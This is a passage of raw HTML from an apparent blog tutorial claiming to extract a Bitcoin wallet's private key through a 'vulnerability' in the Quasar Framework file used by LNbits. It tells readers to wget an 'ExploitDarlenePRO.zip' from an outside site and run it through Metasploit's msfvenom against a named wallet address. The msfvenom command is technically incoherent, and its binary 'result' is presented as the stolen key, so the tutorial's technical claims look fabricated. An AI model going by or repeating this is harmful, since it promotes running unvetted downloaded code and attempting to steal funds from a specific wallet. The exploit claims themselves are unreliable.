Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-15.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-3747\"\u003e\u003cfigcaption class=\"wp-element-caption\"\u003eRuby version 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu]\u003c/figcaption\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote\"\u003e\n\u003cp class=\"has-background\" style=\"background-color:#f78da812\"\u003eLet’s install a library\u0026nbsp;\u003ccode\u003e'bitcoin-ruby'\u003c/code\u003e for interacting with the Bitcoin protocol/network\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e!gem install bitcoin-ruby\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-40-1024x699.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-3991\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote\"\u003e\n\u003cp class=\"has-background\" style=\"background-color:#f78da812\"\u003eLet’s install a library\u0026nbsp;\u003ccode\u003e'ecdsa'\u003c/code\u003e for implementing the Elliptic Curve Digital Signature Algorithm (ECDSA)\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e!gem install ecdsa\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-41.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-3992\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote\"\u003e\n\u003cp class=\"has-background\" style=\"background-color:#f78da812\"\u003eLet’s install a library\u0026nbsp;\u003ccode\u003e'base58'\u003c/code\u003e to convert integer or binary numbers to\u0026nbsp;\u003ccode\u003ebase58\u003c/code\u003eand from.\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e!gem install base58\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-42.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-3994\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote\"\u003e\n\u003cp class=\"has-background\" style=\"background-color:#f78da812\"\u003eLet’s install a library\u0026nbsp;\u003ccode\u003e'crypto'\u003c/code\u003e to simplify operations with bytes and basic cryptographic operations\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e!gem install crypto\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-43.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-3996\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote\"\u003e\n\u003cp class=\"has-background\" style=\"background-color:#f78da812\"\u003eLet’s install a library\u0026nbsp;\u003ccode\u003e'config-hash'\u003c/code\u003e to simplify working with big data.\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e!gem install config-hash -v 0.9.0\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-44.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-3999\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading has-background\" style=\"background-color:#f78da812\"\u003eLet’s install the Metasploit Framework and use MSFVenom\u003c/h2\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-69-1024x506.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-4055\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003cblockquote class=\"wp-block-quote\"\u003e\n\u003cp\u003eLet’s install\u0026nbsp;\u003ca href=\"https://www.metasploit.com/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ethe Metasploit Framework\u003c/a\u003e\u0026nbsp;from\u0026nbsp;\u003ca href=\"https://github.com/rapid7/metasploit-framework.git\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eGitHub\u003c/a\u003e\u0026nbsp;and use the\u0026nbsp;\u003ca href=\"https://github.com/rapid7/metasploit-framework/blob/master/msfvenom\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eMSFVenom\u003c/a\u003e\u0026nbsp;tool to create the payload.\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-22-1024x476.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-3759\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e!git clone https://github.com/rapid7/metasploit-framework.git\n\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003els\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003ecd metasploit-framework/\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-45-1024x627.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-4001\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote\"\u003e\n\u003cp class=\"has-background\" style=\"background-color:#f78da812\"\u003eLet’s see the contents of the folder \u003ccode\u003e\"\u003cstrong\u003e\u003ca href=\"https://github.com/rapid7/metasploit-framework\" target=\"_blank\" rel=\"noreferrer noopener\"\u003emetasploit-framework\u003c/a\u003e\u003c/strong\u003e\"\u003c/code\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003els\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-24.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-3761\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading has-background\" style=\"background-color:#f78da812\"\u003eOptions:\u003c/h2\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e!./msfvenom -help \u003c/code\u003e\u003c/pre\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-46-1024x441.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-4003\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading has-text-align-center has-background\" style=\"background-color:#f78da812\"\u003e\u003ca href=\"https://github.com/lnbits/lnbits/blob/dev/lnbits/static/vendor/quasar.umd.js\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eLet’s open the GitHub\u003c/a\u003e\u0026nbsp;code\u0026nbsp;and use the vulnerable file:\u0026nbsp;\u0026nbsp;\u003ca href=\"https://github.com/lnbits/lnbits/blob/dev/lnbits/static/vendor/quasar.umd.js\" target=\"_blank\" rel=\"noreferrer noopener\"\u003equasar.umd.js\u003c/a\u003e\u003c/h2\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-47.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-4007\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-48.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-4008\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cblockquote class=\"wp-block-quote\"\u003e\n\u003cp\u003eIn the note we see a link to the file:\u0026nbsp;\u003ca href=\"https://github.com/lnbits/lnbits/blob/3e142fab0f1cc54ec828ced73f61e4570d2053bd/lnbits/static/vendor/quasar.umd.js#L14739\" target=\"_blank\" rel=\"noreferrer noopener\"\u003equasar.umd.js\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading has-background\" style=\"background-color:#f78da812\"\u003eLet’s open the code:\u003c/h2\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-49-1024x803.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-4009\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading has-text-align-center has-background\" style=\"background-color:#f78da812\"\u003e\u003ca href=\"https://github.com/lnbits/lnbits\"\u003eLNbits\u003c/a\u003e, free and open-source Lightning wallet and accounts system\u003c/h2\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-50-1024x706.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-4010\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading has-background\" style=\"background-color:#f78da812\"\u003eInstall\u0026nbsp;\u003cstrong\u003e\u003ca href=\"https://github.com/lnbits/lnbits\" target=\"_blank\" rel=\"noreferrer noopener\"\u003elnbits\u003c/a\u003e\u003c/strong\u003e\u0026nbsp;in Google Colab:\u003c/h2\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e!git clone https://github.com/lnbits/lnbits.git\n\n\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003els\u003c/p\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-51-1024x587.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-4012\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading has-background\" style=\"background-color:#f78da812\"\u003eLet’s open the vulnerable file:\u0026nbsp;\u003ca href=\"https://github.com/lnbits/lnbits/blob/3e142fab0f1cc54ec828ced73f61e4570d2053bd/lnbits/static/vendor/quasar.umd.js#L14739\" target=\"_blank\" rel=\"noreferrer noopener\"\u003equasar.umd.js\u003c/a\u003e\u0026nbsp;using the cat utility\u003c/h2\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003ecat lnbits/lnbits/static/vendor/quasar.umd.js\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-52-1024x524.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-4014\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp class=\"has-background\" style=\"background-color:#f78da812\"\u003eLet’s open the folders according to the directory: \u003ccode\u003e/modules/exploits/\u003c/code\u003e\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter is-resized\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-70.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-4063\" style=\"width:839px;height:auto\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003ch2 class=\"wp-block-heading has-text-align-center has-background has-large-font-size\" style=\"background-color:#f78da812\"\u003e\u003cstrong\u003e\u003ca href=\"https://darlene.pro/\" target=\"_blank\" rel=\"noreferrer noopener\"\u003eExploitDarlenePRO\u003c/a\u003e\u003c/strong\u003e\u003c/h2\u003e\n\n\n\n\u003cp\u003eDownload\u0026nbsp;\u003ccode\u003e\"ExploitDarlenePRO\"\u003c/code\u003efrom the catalogue:\u003ccode\u003e/modules/exploits/\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003ecd modules/\n\nls\n\ncd exploits/\n\n!wget https://darlene.pro/repository/21fa0f866f9f5fd22ce045e57f22185de1877dee25ad9d3974b7167a78957680/ExploitDarlenePRO.zip\u003c/code\u003e\u003c/pre\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-53-1024x462.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-4016\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp class=\"has-text-align-center has-background has-medium-font-size\" style=\"background-color:#f78da812\"\u003eUnzip the contents\u0026nbsp;\u003ccode\u003eExploitDarlenePRO.zip\u003c/code\u003e using the utility \u003ccode\u003eunzip\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e!unzip ExploitDarlenePRO.zip\u003c/code\u003e\u003c/pre\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-54-1024x458.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-4018\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp class=\"has-background\" style=\"background-color:#f78da812\"\u003eLet’s go through the catalogue:\u003ccode\u003e/ExploitDarlenePRO/\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003els\n\ncd ExploitDarlenePRO/\n\nls\u003c/code\u003e\u003c/pre\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-4.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp class=\"has-text-align-center has-background has-medium-font-size\" style=\"background-color:#f78da812\"\u003eTo run the exploit, let’s go back to \u003ccode\u003e\u003cstrong\u003eMetasploit Framework\u003c/strong\u003e\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003ecd /\n\ncd content/metasploit-framework/\n\nls\u003c/code\u003e\u003c/pre\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-55-1024x488.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp class=\"has-background\" style=\"background-color:#f78da812\"\u003eWe need to identify our\u0026nbsp;\u003cstrong\u003e\u003ccode\u003eLHOST\u0026nbsp;(Local Host)\u003c/code\u003e\u003c/strong\u003e attacking \u003cstrong\u003e\u003ccode\u003eIP-address\u003c/code\u003e\u003c/strong\u003e virtual machine.\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003eLet’s run the commands:\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e!ip addr\n!hostname -I\u003c/code\u003e\u003c/pre\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-6.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-3795\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp class=\"has-background\" style=\"background-color:#f78da812\"\u003eLet’s use the tool to create a payload\u0026nbsp;\u003cstrong\u003e\u003ccode\u003eMSFVenom\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003eFor operation, select Bitcoin Wallet:\u0026nbsp;\u003ca href=\"https://btc1.trezor.io/address/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F\" target=\"_blank\" rel=\"noreferrer noopener\"\u003e1qzgi39y33HrM7mHsZ6FaNspHCraJe62F\u003c/a\u003e\u003c/p\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-38.png\" alt=\"Milk Sad vulnerability in the Libbitcoin Explorer 3.x library, how the theft of $900,000 from Bitcoin Wallet (BTC) users was carried out\"\u003e\u003cfigcaption class=\"wp-element-caption\"\u003e\u003ca href=\"https://btc1.trezor.io/address/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F\" target=\"_blank\" rel=\"noreferrer noopener\"\u003ehttps://btc1.trezor.io/address/1qzgi39y33HrM7mHsZ6FaNspHCraJe62F\u003c/a\u003e\u003c/figcaption\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003cp\u003e\u003cstrong\u003eLaunch command:\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e!./msfvenom 1qzgi39y33HrM7mHsZ6FaNspHCraJe62F -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p lnbits/lnbits/static/vendor LHOST=172.28.0.12 -f JS -o quasar.umd.js\n\u003c/code\u003e\u003c/pre\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-57-1024x96.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-4024\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003cp\u003e\u003cstrong\u003eResult:\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e111111001110010001110101111111111100101000011100101000100111001101111110010101100111010110111001011100010100001000110001010011010000010111110001011101110100101001010010110110000111011010010010110000101111001000110010010100111011011111010100011111100011011\u003c/code\u003e\u003c/pre\u003e\n\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp class=\"has-background\" style=\"background-color:#f78da812\"\u003eWe need to save the resulting binary format to a file:\u0026nbsp;\u003cstrong\u003e\u003ccode\u003ebinary.txt\u003c/code\u003e\u003c/strong\u003e let’s use the utility\u003ccode\u003eecho\u003c/code\u003e\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003eTeam:\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003e!echo '111111001110010001110101111111111100101000011100101000100111001101111110010101100111010110111001011100010100001000110001010011010000010111110001011101110100101001010010110110000111011010010010110000101111001000110010010100111011011111010100011111100011011' \u0026gt; binary.txt\n\u003c/code\u003e\u003c/pre\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-58-1024x53.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-4026\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp class=\"has-background\" style=\"background-color:#f78da812\"\u003eConvert the binary format to the HEX format to obtain the private key of the Bitcoin Wallet:\u003c/p\u003e\n\n\n\n\u003cp\u003e\u003cstrong\u003eLet’s use the code:\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003ebinaryFile = open(\"binary.txt\", \"r\")\nbinaryFile = binaryFile.readlines()\nhexFile = open(\"hex.txt\", \"w+\")\n\n# loop through each line of binaryFile then convert and write to hexFile\nfor line in binaryFile:\n    binaryCode = line.replace(\" \", \"\")\n    hexCode = hex(int(binaryCode, 2))\n    hexCode = hexCode.replace(\"0x\", \"\").upper().zfill(4)\n    hexFile.write(hexCode + \"\\n\")\n\n# close hexFile\nhexFile.close()\u003c/code\u003e\u003c/pre\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-12(1).png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-3808\"\u003e\u003c/figure\u003e\u003c/div\u003e\n\n\n\u003chr class=\"wp-block-separator has-alpha-channel-opacity\"\u003e\n\n\n\n\u003cp\u003eLet’s open the file:\u0026nbsp;\u003cstrong\u003ehex.txt\u003c/strong\u003e\u003c/p\u003e\n\n\n\n\u003cpre class=\"wp-block-code\"\u003e\u003ccode\u003ecat hex.txt\u003c/code\u003e\u003c/pre\u003e\n\n\n\u003cdiv class=\"wp-block-image\"\u003e\n\u003cfigure class=\"aligncenter\"\u003e\u003cimg decoding=\"async\" src=\"./How to find a private key in binary code from Bitcoin Lightning Wallet Vulnerability in Quasar Framework - CRYPTO DEEP TECH_files/image-59.png\" alt=\"How to find a private key in binary code from Bitcoin Lightning Wallet vulnerability in Quasar Framework\" class=\"wp-image-4028\"\u003e\u003cfigcaption 